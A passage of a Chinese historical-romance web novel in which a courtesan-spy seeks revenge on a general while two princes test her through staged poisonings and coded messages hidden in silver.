殷戈止踏出去关上了门,屋子里恢复了寂静,风月装作睡得纯熟的样子,微微翻了个身。
时候还早,天也没黑,叶御卿其实还有很多事要去安排,虽然他从来不忙碌,但也不是可以一整天游手好闲的。
但是,风月说,她想要易国如的命。
这句话足以让他安安静静地坐在她床榻边等人醒过来,绝对不离开房门半步。
装醉被打断是件很尴尬的事情,继续装的话肯定会不自然,风月索性当真睡一觉,虽然她酒量好,但喝酒实在有助睡眠。
于是,两个时辰之后,黄昏将至,风月才伸了个懒腰,吧砸着嘴醒了。
叶御卿依旧坐在旁边,神色晦暗不明地看着她。
“公子,怎么了?”一双眼里满是无辜,风月撑着身子坐起来,捂了捂脑袋:“头怎么昏昏沉沉的……”
“姑娘酒量了得,喝了两斤白酒方醉。”伸手递了杯茶过来,叶御卿勾了勾唇:“醉了倒是可爱至极,胡言乱语的,差点吓着我。”
神色一紧,风月顿时慌张起来,眼珠子乱转,抓着人家的衣袖就道:“奴家喝醉了向来喜欢乱说话的,很多都不是真的,公子切莫往心里去!”
“我知道,你定然是在胡说。”温和地看着她,叶御卿轻轻握住她的手:“只是有一件事,想到现在我也没想明白,姑娘可能为在下解惑?”
“什……什么事?”风月哆嗦着问。
“别紧张,不是什么大事。”看着她的眼睛,叶御卿笑道:“也就是想问问,姑娘怎么会知道易大将军的名讳。”
按理说,民间都会为尊者讳,易大将军乃吴国一人之下万人之上的大人物,民间自然不会有人传他的名字,至多称一声“易将军”,就算是魏国的百姓,也同样不该知道。
然而眼前这女子,喝醉了直接说了易国如的全名。
这种时候,就很考验演技了。吴国太子本人就是披着温柔皮囊演戏的高手,在他面前,风月自然是打起了十二分的精神,眼神细节把握得丝毫不差。
“这……”身子害怕地瑟缩了一下,想抽回自己的手,风月眼泪儿直冒,喃喃道:“奴家也是无意间得知的,奴家…奴家该死,不该冒犯易大将军,还请殿下宽恕!”
叫殿下,不叫公子了。
叶御卿正了神色,捏着她的手没放,目光陡然凌厉:“你岂止是冒犯易将军?就凭你那句话,算是有行刺之心,要论罪的。”
吓唬谁啊?要是真想论她罪,他吴国太子吃饱了撑的在这青楼等这么久?
心里翻了个白眼,面上愈加恐慌,风月咬唇,眼泪簌簌地往下掉:“殿下饶命,奴家不过一
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时醉语,当不得真的!”
“有句话,叫酒后吐真言。”叶御卿睨着她,眼神陡然冰冷:“事出必有因,姑娘今日要么说说与易将军有何渊源,要么就跟本宫去一趟衙门吧。”
风月被吓得如同风中凋零的花,抖啊抖的话都说不出来。
缓和了神色,叶御卿又伸手在她背上轻轻拍了拍:“也不用这样紧张,只要你实话实说,不会有人把你怎么样。”
哽咽良久,风月终于长长地叹了口气,尾音怅惋,光这一声叹息仿佛就是一个故事。
叶御卿目不转睛地看着她。
“奴家是魏国人,本来日子安乐,一家和睦,过的是平平淡淡但无比幸福的日子。”她开口,眼里有怀念之色,嘴角含笑。
眼前浮现出关府里的场景,几个丫鬟在院子里跑,关清越蒙着眼睛一抓一个准儿,欢声笑语,开心极了。
“但是吴魏之战,我一家人因为离战场较近,被易大将军抓去,与其他百姓一起当了人质,威胁关将军退兵十里。”
东旷之战,也是关清越成名的战役,堂堂易大将军,抓了百姓为质,要他们退兵。关苍海退了,她却带着一个营的人,半夜突击,想救下人质。
谁知道,杀进敌营才发现,三百无辜百姓,统统已经被坑杀,原因只是因为吴国粮草短缺,不养俘虏。
眼睛微红,风月捏紧了手,尽量平静地道:“奴家的家人都是朴实百姓,日出而作,日落而息,没有做过什么错事,也与那场战斗毫无关系,但是易大将军绑了他们,将他们统统坑杀,那巨坑里埋了三百多百姓的尸体,我就算想找回亲人,好生安葬,也是不行。”
叶御卿一震。
竟然发生过这样的事情?战报里完全没有写……也不可能写。
皱了皱眉,他缓和了周身的戒备,看着面前这努力压着愤怒的姑娘,低声问:“你怎么逃出来的?”
“他们抓人的时候,我恰好上山采药了。”风月道:“等回来的时候,家里就一个人也没了,东西被砸得满地都是,我还以为是来了强盗。”
“但是五天之后,有消息传来,说战场换了地方,该收尸的可以去收尸了,我才知道,家里人都是被易大将军抓去,没一个活着。”
“后来,我跟着魏国的难民们一起来了吴国,因为战场多在魏国之地,也算是避难。”
从回忆里回过神来,风月看着面前的人笑,哽咽地指了指自己:“奴家不该恨吗?易国如这个名字,是奴家千方百计找人打听到的,就算奴家今生今世报不了这不共戴天之仇,您也不许奴家喝醉了念叨两句吗?”
“只是念叨而已啊,奴家根本杀不了他!”
眼泪哗哗地往下掉,风月自己都不知道自己是真哭还是假哭,只觉得心里堵得难受,眼睛也酸得厉害。
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第34章 别伺候了
她眼里是完全伪装不出来的、骨头上嵌钉子的那种深入骨髓的恨意,饶是叶御卿,也被这浓烈的情绪震得垂了眸。
“两国交战,不伤百姓,这是约定俗成的规矩。”他低声道:“是易将军做得不对,但……”
但他是吴国的功臣,杀的魏国人,都是他身上的功勋。
风月低笑,终于将自己的手抽了回来,深吸一口气,恢复了常色,只眼睛还红着:“奴家知道,殿下是吴国之人,又是太子,定然不会觉得易将军罪大恶极。”
“奴家也没想过能报仇,过好自己的日子也就罢了,区区女子,能做什么呢?”
叶御卿叹息,想说什么,又止住了,只转了话头道:“时候不早了,我让人准备些晚膳,你先好生休息一番。”
“多谢公子。”风月低头,面容疲惫,继续侧躺在了床上。
屋子里这人在门口吩咐了外头两句,便站在原地,神色若有所思。风月半睁着眼瞧着他,微微一笑。
如今的吴国,群雄之中已经难寻对手,齐魏征战,楚赵对峙,独独吴国置身事外,安民蓄锐。
一个国家没有外患就会有内忧,易大将军权倾朝野,敢拒皇子的求亲,敢在将军府布天罗地网,那样野心勃勃的人,她不信叶御卿会没有防范的心思。
叶御卿最擅用人,凡是信任之人,分权做事,他概不怀疑。
但易国如从来没有替他做过事,换个角度来说,易国如从来没有得到过叶御卿的信任。甚至在查将军府失窃之事的时候,叶御卿半点不走心,还放水,导致她的人逍遥至今。
吴国太子殿下对易大将军的态度,还真是耐人寻味。
叶御卿转身,便看见床榻上的人又闭眼在休息了。
心里藏着这么多事,还能每天笑面迎人,这姑娘也是不简单,若能收为己用……
眉梢微动,叶御卿抬脚便慢慢朝她走过去。
女人比男人好拿捏多了,他宫里的姑娘们就老实得很,一心一意追随他,他说什么她们都会听,然后去做。
风月身份特殊,这梦回楼里多是达官贵人来往,消息极多,但惯常姑娘们是不会说给客人听的,若是收了她,其实有利无害,并且说不定她还能帮着做点别的姑娘做不到的事情。
只是,前提是,她说的都是真的。
“殿下!”门外突然响起冯闯的声音,叶御卿回神,停住步子,转身就去开门。
冯闯脸色不太好看,凑在他耳边低声道:“司马宗正不知从何处得知您现在在此处的消息,正带人往这边赶来。”
嘴角抽了抽,叶御卿颇为头疼:“那老家伙怎么会知道本宫在这儿?”
他来去都十分隐蔽,连其他恩客都没多碰面,怎么会让司马如知道了?
要说整个吴国叶御卿最怕谁,不是当朝皇帝,而是这位三朝老臣司马如,掌宗正之职,管皇族宗室之事,一向矫枉过正,不许皇室子弟沾染半点恶**。
他堂堂太子来青楼,那已经不能用“恶**”来形容了,估摸着真被他逮住,老东西一定在他东宫门口不吃不喝跪上三天三夜,到时候**,举朝上下都得在他耳边念叨。
想想就头皮发麻。
冯闯叹息:“殿下,您先从后门走吧。”
回头颇为不舍地看了床上一眼,叶御卿皱眉呢喃:“这难道就是传说中的,有缘无分?”
床上的人睡得安详,动也不动。
“罢了。”拂袖离开,叶御卿想,躲开那老东西,晚些时候再来也不迟。
结果谁知道,刚溜回宫,就被一堆老臣围上来烦了个半死,等他回过神来再想出宫,宫门都落钥了。
风月还在梦回楼里等,左等右等的不见人来,灵殊便道:“许是不来了。”
看看时辰,那位怕是想来也出不了宫了,风月松了口气,干脆洗脸上床准备睡觉。
“很失望?”有人问了她一句。
背后一寒,风月吓得往旁边小跳了一步,扭头往窗边看。
殷戈止坐在她的窗台上,月光给丫加了很好的一层光华,看起来人模狗样的。
干笑两声,风月凑上去问:“您怎么来了啊?”
“想来。”简单粗暴的理由,殷大皇子直接就跳进了屋子,抬眼看她:“你……”
他本来想说,你真是白费心思了,太子要留宿青楼,可没那么简单。
但是,外头的月光流淌进来,映在这人脸上,殷戈止竟然怔了怔,半晌没回过神。
风月眨眼,再眨眼,突然想起点什么,脸色一变。
完蛋了,她已经卸妆了!
扭头就往床边走,风月嗷嗷叫唤:“灵殊,有客人来,快倒茶!”
伸着小脑袋看了殷戈止一眼,灵殊小声道:“主子,夜深了,就不必泡茶了吧?桌上壶里还有水,奴婢先告退了!”
没出息!竟然这么怂!风月咬牙,然后自己缩上床,怂成了一个球。
不上妆的时候,风月的一张脸颇为英气,虽然眉毛是修了,但鼻梁细挺,没有别的女儿家那般娇媚,长得也不算倾国倾城,所以她很心虚。
殷戈止是没见过这张脸的,毕竟以前潜伏进他的地盘,她都乔装得挺好,而且也不抬头,所以不担心他识破什么。
但……为啥一直这么盯着她啊?觉得她不化妆太难看了,欺骗恩客?
月光笼罩着的人沉默了许久才回神,走到床边睨着她,难得地说了一句好话:“有这样一张脸,还上妆做什么?”
嗯?风月眨眼,伸出脑袋来看着他:“您觉得奴家不上妆好看?”
“比戴个面具好看得多。”殷大皇子一本正经地给了评价:“眉目动人。”
风月:“……”
你说这大皇子是不是审美畸形?虽然她不上妆的确看得过去,但绝对没有到动人的地步啊!男人不都喜欢娇媚的女人吗?他喜欢力能扛鼎英姿勃发的?
目光落在她身上,却又像穿透她到了别的地方,殷戈止轻轻捻着指头,眼珠子却一动不动,像是又走神了。
难不成她当真有这般姿色,能让这天神般的殷戈止,望而着迷?
风月不信,努力将一张脸笑成个**,低声问他:“公子是看上奴家了?”
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伸手轻轻抵着她的眉心,又从眉心一路划下来到鼻梁,殷戈止神色微黯,淡淡地道:“没看上你,只是偶尔觉得你像个人。”
他没见过那人长什么样子,但她应该也有这样高挺的鼻梁,瞧着就英气。
只是,面前这张脸实在太恶心人,冲他笑得褶子都出来了,半分傲骨都没有。
上天怎么会把这种容貌给这么一个人?
嫌恶地收回手,殷戈止道:“你伺候不成太子,还是专心伺候我吧。”
“哦?”撑起身子,风月兴奋万分地问:“公子是觉得奴家很好以至于要一直包奴家的场子只让奴家伺候您一个人吗那不如把奴家赎出去啊奴家还能给您做饭呢!”
被她这气也不喘的一串话说得怔愣,殷戈止皱眉,做饭?
“做你的春秋大梦!”
风月扁嘴:“公子难道不是这么想的吗?”
“不是。”摇头否认,殷戈止自己也有点迷惑,想了半晌才道:“大概就是你伺候得好,所以多让你伺候一阵子,等哪天腻了,便再换人。”
这样啊……风月垂眸,颇为受伤:“奴家还以为,公子会喜欢奴家呢。”
喜欢?
殷戈止用看智障的眼神看了她许久,拂袖就走:“别想太多。”
“那公子今晚特意来这一趟是?”
踏上窗台的脚一顿,殷戈止抬头看了看月亮:“出来赏月,路过而已。”
哇哦,能从使臣府路过到梦回楼,真是太会路过了!
风月笑盈盈的,也没多说,看着他从窗口跳出去,敛了神色皱眉。
伺候不了太子是什么意思?太子不是包了她吗?难不成会突然不要她了?她好端端的计划,难不成又被这杀千刀的玩意儿给破坏了?
风月很担心,担心得一晚上都没睡好觉。
结果第二天上午,睁开眼,叶御卿就已经坐在房间里冲她笑:“怠慢了佳人,还望姑娘莫往心里去。”
眨眨眼,风月起身看着他,掐一把大腿的嫩肉,眼泪“刷”地就下来了:“奴家还以为昨儿说错话得罪了公子,公子不要奴家了嘤嘤嘤……”
心疼地递了帕子过来,叶御卿坐在床边看着她:“我怎么会不要你,只是琐事缠身,走不开罢了。而且……出了点事情,之后大概都不能在宫外留宿。”
他也不知道是发生了什么,母后突然就知道了他时常不归宫的事情,把他叫去跟前好生数落,往后每日宫门落钥,都得去一趟栖凤宫请安。
真是倒霉催的!
风月眨眼,一边抹眼泪儿一边咬牙。
殷戈止说的话,原来是这个意思,没把她怎么样,倒是把太子搞得不能夜宿宫外了!他是神啊?吴国皇宫也能伸爪子进去?要不要脸了!
“如此,那……”
“想想白日与姑娘一同游玩,也是好事。”叶御卿笑道:“今日天气就不错,姑娘不如陪在下出去走走?”
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第35章 周旋
风月呵呵呵地就笑了,颔首娇羞地应下:“不胜荣幸。”
叶御卿起身,挥手就让后头的人进来。
风月偷偷看了一眼,两个丫鬟捧着一套衣裳,看样子是想把她打扮成良家妇女。也对,跟着他一起出去,总不能还一股子风尘味儿。
不过这太子殿下品味倒是不错,胭脂色的长裙,配着乳色披帛,艳丽又高贵。一盒子首饰全是金镶玉和珍珠,瞧着就不便宜。
真不愧是皇家产出的泡妞能手,这等的大方,这等的体贴,是个女人就得爱上他啊!
风月很感动,这种被人捧着的感觉实在太好了,当即就蹦跶下来朝人行礼:“多谢公子!”
“换上吧。”叶御卿道:“我在外头等你。”
说罢,带着随从就退出去,关上了门。
瞧瞧,什么叫正人君子,什么叫风度翩翩!风月直叹气,这是青楼啊,多少客人专门点名要看人换衣裳,他倒还知道非礼勿视。这样的人,清新脱俗,跟外头那些个好色的**完全不一样!
“啊嚏!”
莫名地打了个喷嚏,殷戈止皱眉。
“主子。”观止从外头进来,道:“查清楚了,另外两条线都没有泄密的可能,只能是那绿豆糕铺子的问题!”
一个卖绿豆糕的,能有这通天的本事?殷戈止皱眉,伸手就拿了外袍:“去瞧瞧。”
响玉街小吃甚多,整条街上一半都是卖吃的,那郑记糕点铺就在街尾的地方,不起眼但也不隐蔽,进门就有老板娘和善地问:“客官来点什么?”
低头扫了一眼台子上摆放着的点心,殷戈止道:“半斤绿豆糕吧。”
“好嘞!”熟练地收了银子,称了糕点,正要打包呢,老板娘却听得这人道:“先在这儿吃一会儿,可有位置?”
“有的有的。”老板娘笑道:“您身后那桌还空着。”
朝她颔首,不动声色地打量了人一圈,殷戈止坐了下来,边吃边看。
观止也跟着四处张望,倒不觉得这店哪里不对,干脆开口问:“这点心味道这么好,老板娘是做了多少年的生意了?”
郑氏笑道:“有两年多的光景了,先前就一直喜欢做点心,在大户人家帮工。后来出来,就自己盘了个铺子。”
观止点头,又道:“听老板娘的口音,好像不是本地人。”
微微一顿,郑氏垂着眼一边擀面一边道:“这儿不是本地人的多了去了,有好些都是魏国的难民。嗨,魏国的仗打了这么多年了,流离失所的人太多。”
魏国人?看她一眼,殷戈止没吭声,慢慢尝着点心。
老板娘一举一动都没有半点不妥,半个时辰之后,殷戈止离开铺子,想去对面的茶楼上坐会儿。
“在这茶楼上歇会儿吧。”
还没跨进去,就听见背后叶御卿的声音响起:“你也该走累了。”
风月颔首,娇羞一笑,伸手搭着叶御卿的臂弯就往茶楼里走。
正要跨门呢,冷不防的旁边就伸了条腿过来,绊得她差点摔个狗吃屎!
“你……”
门口的人转过身来,一身寻常的青衣,气质倒是不减,板着脸朝她身后的人颔首:“殿下。”
叶御卿挑眉,认真看了他一会儿,叹息道:“没想到这里也能遇见,那就是天定的缘分了,一起上楼喝个茶?”
“好。”殷戈止应了,看也没看风月一眼,径直便上了茶楼。
风月撇嘴,站直了身子,努力保持着微笑,跟着上去。
被叶御卿牵出来遛了好大一圈儿了,她才知道这位太子心思一点也不简单,先是左右试探,知道她没半点武功,又接着探听她底细。好在她准备够充分,一路上半点破绽也没露,将“家破人亡沦为妓子一心想复仇却无能为力”的人物形象展现得十分生动。
看得出来,叶御卿对她放了一半的戒备,于是方才在无人之处,他说了一句话。
“卿本佳人,若是可以,本宫也想替你伸冤。”
风月听着心里就笑了,眼里含着泪看着他。
她哪有什么冤啊?有的只是仇,与其说替她伸冤,不如说可以给个途径,让她报仇。
没看走眼,当朝太子殿下,果然是有心要除易大将军的,她没选错人。
“风月姑娘是不是脖子扭了?”
正想着呢,旁边突然有人砸过来这句话,像冰水似的从头上淋下来,瞬间让她回了神,扭头看过去:“啊?”
殷戈止捏着一杯茶,冷漠地递在她面前。
“哦哦哦!”连忙接过来,风月嘿嘿一笑,抿了一口。
叶御卿盯着殷戈止,道:“殿下最近教导两家公子可谓尽心尽力,听闻昨儿安国侯爷进宫,在父皇面前对殿下多有夸赞。”
“过奖。”
“殿下有治军之才,可惜了身份尴尬,管不得吴国之事。”叶御卿笑了笑:“但屈才至此,怕是天都会谴责我国。”
“不敢当。”
风月低头吃着点心,听着这两人这边夸一句过去,这边冷冰冰地踢几个字回来,心想太子也真是好脾气,对殷戈止这么客气做什么?换了她,直接把丫捆起来挂树上,肯不肯帮忙?不肯切了你丫的!
叶御卿想拉拢殷戈止久矣,奈何殷大皇子似乎很享受混吃等死的日子,没有要与他同流合污的意思。太子也是个有毅力的人,软硬兼施,手段用尽,从殷戈止入吴开始,折腾到了现在。
殷戈止不知道因为什么,一直不肯向太子示好。
其实就立场来说,殷戈止肯定是想切了易国如的,但不知道是不是因为易掌珠的关系,他看起来跟易国如相处得还不错,和和气气的,丝毫没有记恨人家抓他为俘的仇。
心也真是大。
“风月。”跟殷戈止聊不下去了,叶御卿还是转头看向她:“吃点绿豆糕吧。”
点头应了,风月拿起盘子里的绿豆糕咬了一口,惊讶地挑眉:“这茶楼的糕点,买的是对面糕点铺现成的啊。”
“这你都尝得出来?”叶御卿笑道:“看来真是喜欢吃东西。”
不好意思地笑了笑,风月道:“穷日子过多了,现在好不容易有机会
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吃饱,自然要多吃点。”
是吗?
看着这张笑得假兮兮的脸,殷戈止突然问:“你平时,都让你丫鬟去买东西的?”
“是啊。”风月颔首,瞧了一眼身后的灵殊,笑道:“这丫头单纯,从来不骗人,也不撒谎,很会交朋友的。让她出来买吃的,人家都不会少秤。”
看了灵殊一眼,叶御卿微微颔首。他愿意相信风月,有灵殊一部分的原因,这丫鬟是她最贴心的人,又当真没什么心思,想问什么一套话就问出来了。若风月当真有鬼,那灵殊定然会暴露。
可是灵殊没有。
殷戈止看着灵殊,想了想,拿了一两银子给她:“你去替我到对面,买点绿豆糕吧。”
风月脸色微变,压了压慌张,勉强笑道:“公子?您的随从还在这儿呢,做什么指使奴家的丫鬟?”
“她买,不是不会少秤吗?”双目直视她,殷戈止道:“我的随从可没这么好的运气。”
堂堂殷大皇子,会是省这点秤的人?风月有点慌,但根本不知道他在怀疑什么,只能按捺住性子等。
灵殊接了银子就下去了,叶御卿正想说话,旁边的冯闯却喊了他一声,低头小声说了点什么。
眉宇间有点不耐烦,又有点无奈,叶御卿起身道:“在下还有事,不能送姑娘回去了,可否请殿下代劳,稍后将风月姑娘送去梦回楼?”
“好说。”殷戈止颔首。
叶御卿急急忙忙地就走了,风月抿唇,浑身莫名地紧张了起来。
“怎么?”扫她一眼,殷戈止道:“太子走了,你就是这副表情?”
“哪里的话……奴家去看看灵殊买好了没有哈!”勉强笑了笑,风月起身就跑去了窗边。
灵殊跑到对面,正在买绿豆糕,隔得不远,对话都隐隐能听见。
“老板娘,一两银子的绿豆糕……哎不对,这是一两银子吗?”
老板娘看见是她,笑着道:“怎么就不是一两银子了?”
“好像……比主子给的银子重了不少?”奇怪地掂量着那银子,灵殊道:“老板娘,你帮我称一称,这是一两银子吗?”
“……”老板娘愣了一会儿,收了她的银子,笑道:“就是一两银子没错,人的感觉会错,秤却不会。姑娘拿好了啊。”
算是顺利买了糕点,风月正要松口气,却听得耳边有人道:“你家丫鬟跟那老板娘还挺熟。”
寒毛都立起来了,风月绷紧身子道:“买的次数多了,自然就熟了。”
“是吗?”伸手搭上她的肩膀,殷戈止淡淡地道:“走吧,回去。”
“……好。”
像被狼舔了一口似的,风月浑身冒冷汗,低头跟在殷戈止的后头,大气都不敢出。
“他今天都同你说什么了?”前头的人问了一句。
风月赔笑:“您说那位公子吗?也没说什么,就是随便聊天。”
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第36章 了不得的女人
随便聊天能把叶御卿聊得同她在街上乱晃?殷戈止不信,叶御卿那种人,绝对不会在对他没用的人身上浪费时间,肯这么带着晃悠,那定然就是想利用她。
是这丫头太蠢没发觉,还是当他傻的好糊弄?
“不过奴家想起一件事儿,倒是挺新鲜。”感觉到前头的人气场不对劲,风月立马换了话头,神秘兮兮地道:“是有关公子的事儿,想不想听?”
殷戈止侧头,眼里略微不耐烦,明明白白写着四个大字:有话直说!
清了清嗓子,风月八卦兮兮地道:“前些日子有个恩客找到奴家,说他的妹妹看上您了,要送您一盘点心吃,那点心别处心裁,竟然是桃片。”
停了步子,殷戈止眼里的颜色浓了浓,深深地看向她。
像是看不懂他的眼神,风月笑眯眯地道:“客**方,给我奴家一百两银子要奴家帮忙,把点心给您吃了,奴家念他妹妹一片深情,至今还将那桃片放在花架上呢,要不您回去吃了,奴家还能拿剩下的几百两银子,到时候咱们对半分?”
几百两银子,就为了让他吃一口点心,这家小姐可真是痴情啊。
眼里嘲弄之色更浓,殷戈止伸手拉了她就走。
“哎哎哎!”被扯得飞奔,风月娇滴滴地道:“公子您慢点啊,奴家跑不快啊!”
说是这么说,裙下的脚却是跟飞起来了一样,没让殷戈止拖得太厉害。
一到梦回楼,直接回了房间,殷戈止关门就问:“点心呢?”
风月转身就将那一盒子桃片拿出来,递给他:“喏。”
捻了一片仔细闻了闻,又用指尖抹了一点尝了尝味道,殷戈止“呸”了一口,脸色难看得很。
他的命就值几百两银子?
“怎么啦怎么啦?”旁边火鸡一样的人咋咋呼呼地问:“有问题吗?不好吃吗?”
“谁吃谁没命。”殷戈止冷声道:“掺了剧毒。”
倒吸一口凉气,风月眼睛瞪得极大,捏着帕子就往回跳了半步:“这可不关奴家的事啊,东西送来,奴家都没仔细看过。”
幸好她没贪嘴,殷戈止抿唇,合了盖子想了想:“记得那人的模样吗?”
“记得!”风月道:“是个胖子,很有钱,应该是个惯常用笔之人。”
连人家惯常用什么都知道?眸色微动,殷戈止突然就温和了神色,放了盒子走近她,低头盯着她的眼睛。
心里一惊,风月往墙上一靠:“公子?”
“帮我个忙吧。”殷戈止道。
他这语气很温柔,虽然跟叶御卿那种实打实的温柔相比算不得什么,但对于冰山来说,融化一个小角落,都足够令人惊叹。
眨眨眼,风月干笑。
她有种不好的预感,露出这种表情的殷戈止,能让她帮什么轻松的忙?
半个时辰之后。
“啊——”尖叫声划破了梦回楼的宁静,金妈妈甩着帕子就冲了上来:“怎么了!”
声音是从风月的房间里传出来的,一众姑娘自然喜得看热闹,纷纷凑了过来。
打开门,风月跌坐在地上,一手撑地,一手掩唇,眼里泫然有泪,哆哆嗦嗦地看向床榻的方向。
众人抬头看过去,就见有俊朗无双的公子哥靠在床头,脸色发青,嘴角不断有血流出来。
倒吸一口凉气,金妈妈连忙过去扶着人,不可置信地看了风月一眼:“这是怎么的了?”
殷大皇子怎么能在她梦回楼吐血?!
风月张嘴欲言,却像是吓得说不出话了,只能指向桌上的那盒桃片。
“快……快报官啊!有人**!”外头的姑娘尖叫了一声。
人**才该报官呢!翻了个白眼,风月觉得自己再不说话,这群女人的尖叫声都能把殷戈止给吵死。
“去请大夫。”哽咽地说了一句,她捂脸继续哭:“快去请大夫啊!”
被她这一提醒,金妈妈才缓过神来,推着一群姑娘就出门。
梦回楼里登时热闹了起来,风月屋子里的客人**的消息一传十十传百,很快就传遍了半个不阴城。
传言这种东西,是会变样的,比如真实情况分明是殷戈止**吐血了,人没死,但是传出去之后,就变成了梦回楼里毒**个客人,七窍流血,死状极惨。
于是第二天一早,叶御卿就到梦回楼问罪了,难得地沉着一张脸。
“怎么回事?”
梦回楼已经歇业整顿,金妈妈无奈地跪在大堂里,道:“人已经没事,大夫看了,说是误食毒物,已经清了毒送回府上休养了。至于那毒是怎么来的……奴家实在不知,风月也不可能对恩客下毒。”
“风月呢?”扫了一眼没看见人,叶御卿皱眉。
“昨儿晚上就被人扭送进了大牢。”说起这个,金妈妈眼里才当真露出担忧的神色,抬头看着叶御卿道:“那丫头当真是无辜的,公子若是能帮忙,还请将她救出来。到底是姑娘家,哪里吃得牢里的苦?”
殷戈止**,那风月就不是轻易可以被捞出来的了,叶御卿摇头,颇为头疼地走来走去。
使臣府。
“观止。”躺在床上的殷戈止问了一声:“牢里如何?”
“都打点好了,不会伤着姑娘。”观止道:“并且,如您所料,灵殊今日一早就捏了银子去买绿豆糕。”
神色微紧,殷戈止问:“拦下来了吗?”
伸手递给他一锭银子,观止抿唇:“拦下来了,装作强盗,抢了人家的银子,东西在这里,主子请过目。”
瞧上去没什么不对,可一捏在手里,殷戈止就眯了眯眼,直接用力一捏,那银子便碎裂开,露出一个小纸团来。
还当真是有问题,昨日听那丫鬟跟老板娘的对话他就觉得有蹊跷,风月还妄图转移他的注意力,让他关注下毒的事情。
他又不傻,下毒的人要查,她瞒着的事情,他也要查。
多聪明的姑娘啊,知道用这种法子跟人消息往来,要不是遇上他,可能一辈子也不会有人拆穿她的把戏。
可惜了偏偏遇上他。
轻哼一声,他展
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开纸团,垂眼看了看。
“不必救,查三司使山稳河。”
心里某个地方好像被人捏紧,接着四肢百骸都紧了起来,殷戈止死死地盯着这一行字,脸色难看极了。
“主子?”凑过来看了看,观止皱眉:“这风月姑娘不简单啊,竟然连三司使的名字都知道,还要查他。”
“她跟我说,想让我吃下糕点的人是个胖子,很有钱,惯常用笔。”良久才开口,殷戈止声音冷得透人骨:“据我所知,符合条件又喜欢在青楼里晃荡的,山稳河府上就有一个,是他的账房,朱来财。”
“主子连这种人物都记得?”观止惊叹。
殷戈止冷笑。
他记得是正常,毕竟他有事要做,可她呢?一个妓子,有这种情报网不说,还在其中充当发号施令的角色,知人底细,还敢查当朝三司使。
她的本事还真是不小,能让干将背叛自己,能拿到将军府的机关图,还能拿到王汉的腰牌。他一说要查谁,她立马能送上相关的东西给他,比他手下任何人的办事动作都麻利。
接近吴国太子,勾搭他这个魏国皇子,不知目的,但眼下已经有不少的人被她**于鼓掌。
这样的人……
这样的人,绝对不能他的眼皮子底下安然地活着!
“观止。”捏了纸条,殷戈止沉声道:“准备一下,晚上去一趟大牢。”
“主子。”观止一愣:“您不是说,晚上就能把人放出来了吗?”
本来的安排,是说假装主子当真**,这样抓着人了就可以直接定罪。按照约定,风月姑娘在牢里委屈一晚上,招供出幕后主使就行了。但看现在样子,自家主子怎么有不放人的意思?
“放出来了是个祸害。”殷戈止闭眼道:“今日访客一概不见,就说我还在养伤。两个徒儿也送回他们各自府上,等我痊愈再继续上课。”
“……是。”
牢房里的气味儿不太好闻,风月蹲在地上,看着小小的窗口透进来的阳光,突然觉得这里倒是挺安逸的,什么也不用管。
有人打开锁链,喊了一声:“犯人速来行礼。”
回头一看,叶御卿沉着脸跨了进来,盯着她,目光复杂。
“公子。”一夜未眠,怎么也有点憔悴,风月朝他笑了笑:“这副模样,让您瞧见了,奴家真是羞愧。”
“他怎么会在你的房间里**?”叶御卿皱眉:“就算毒不是你下的,往后你的日子也定然难过。”
叹息一声,风月心想,她也不愿意啊,谁知道那变态说帮他这个忙,以后就没别的人敢来点她的台了,太子还会对她格外感兴趣,想想也不是个亏本生意,于是在人的威胁之下,她也就答应了。
“奴家是清白的,相信不久就会出去。”低笑一声,风月道:“倒是那位公子,想害他的人还真是不少。上次遇见刺客,这次又遇见人下毒。”
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第37章 互助互利
眉头一皱,叶御卿闭了闭眼。
他是千方百计要保殷戈止的性命的,奈何心怀不轨之人太多,敌在暗他在明,实在难护个周全。幸好殷戈止自个儿就有本事,安安稳稳地活了一年了,有时候用的手段,连他也自叹弗如。现在殷戈止人没事,风月又这般镇定,想来也是有把握保住自己的,既然如此,那他也不必插手来管。
平缓了语气,叶御卿叹息:“有什么需要帮忙的,让外头的人传话给我便是。”
“好。”笑着点头,风月一脸感动地看着他:“公子对奴家真好。”
靠近她两步,叶御卿低头,脸的轮廓沐浴在窗口透进来的光里,眼中温柔如水:“不对你好,还对谁好?”
那可就多了去了,对易掌珠啊、他宫里的侧妃啊、梦回楼的谁谁谁啊!这位殿下光芒普照之处,全是受其恩惠,溺其情意之人,还少了?
心里拆着人家台,面儿上风月的表情这叫一个感动啊,眉头轻蹙,眼里含情又含愁,朱唇微微哆嗦,像是看救世活佛一般看着面前的人:“公子……”
叶御卿一顿,替她挽了一缕鬓发在耳后:“委屈你了。”
哇塞,其实要是坐牢能被长得好看的人这么怜惜,她真的不介意多坐一会儿的!
然而叶御卿停留了三柱香的时间就走了,毕竟是一国太子,还有很多事要做。他走之后,狱卒给风月来了一顿不错的午膳,风月笑眯眯地吃了,然后就蹲在角落里继续数稻草。
不知道为什么她总觉得有点不安,虽然目前的一切情况尚在掌控之中,但一想起殷戈止那双眼睛,她就觉得瘆得慌。
以前在魏国从军之时,有人说当朝大皇子到底是最合适的皇位继承人,整天在外征战也不像话啊,毕竟治国要有谋之人,不能是一介武夫。
年长一些的士兵听见这话就笑了,说大皇子初出茅庐之时,许将军看不惯他,结果练兵的时候被他打得在城里出不去。面子上抹不开,就跟他比兵法,论文采,谈治国之道。
那结果呢?小兵问。
年长的士兵笑道,结果不知道是怎么的,之后再有切磋的机会,许将军想也不想就选择继续被大皇子堵在城里出不去,再也没跟他论过文道。
众人一片唏嘘。
当时作为听众之一的关清越,觉得这个人真是牛逼,年纪轻轻的就成了人嘴里的神话了,还是那么可怕的神话。所以打小起,她心里对殷戈止,是存着一种敬畏的,凡人对天神的那种敬畏。
现在这种心虚,大概就来源于这种敬畏吧,毕竟在他面前耍花样,风险实在太大。
不过想想,自个儿也不是没有成功耍了花样的时候啊!大家都是人,都一样的,他不是神!
给自己吃了颗定心丸,风月哼着小曲儿拿稻草编着玩儿,继续等待着。
外头的天色渐渐暗了,最后一缕光从窗口消失的时候,殷戈止踏进了牢房。
风月抬头,一张脸立刻绽放出无比开心的笑容:“公子,您终于来了!”
牢房门口的人站着没动,一股无形的压力自他眼中而来,瞬间束缚了她的全身。小小的牢房像是被巨大的黑影笼罩,空气都稀薄了起来。而门口那人的身影,就如同鬼神降临。
心里一跳,风月眨眼,努力动了动身子,忽略这一股威压,不要命地朝人家贴了上去,妩媚地笑着道:“公子是亲自来接奴家出去吗?”
“有话想问你。”殷戈止面无表情地开口,眼眸微垂,平静地看着她。
双目对视,风月脸色微白。
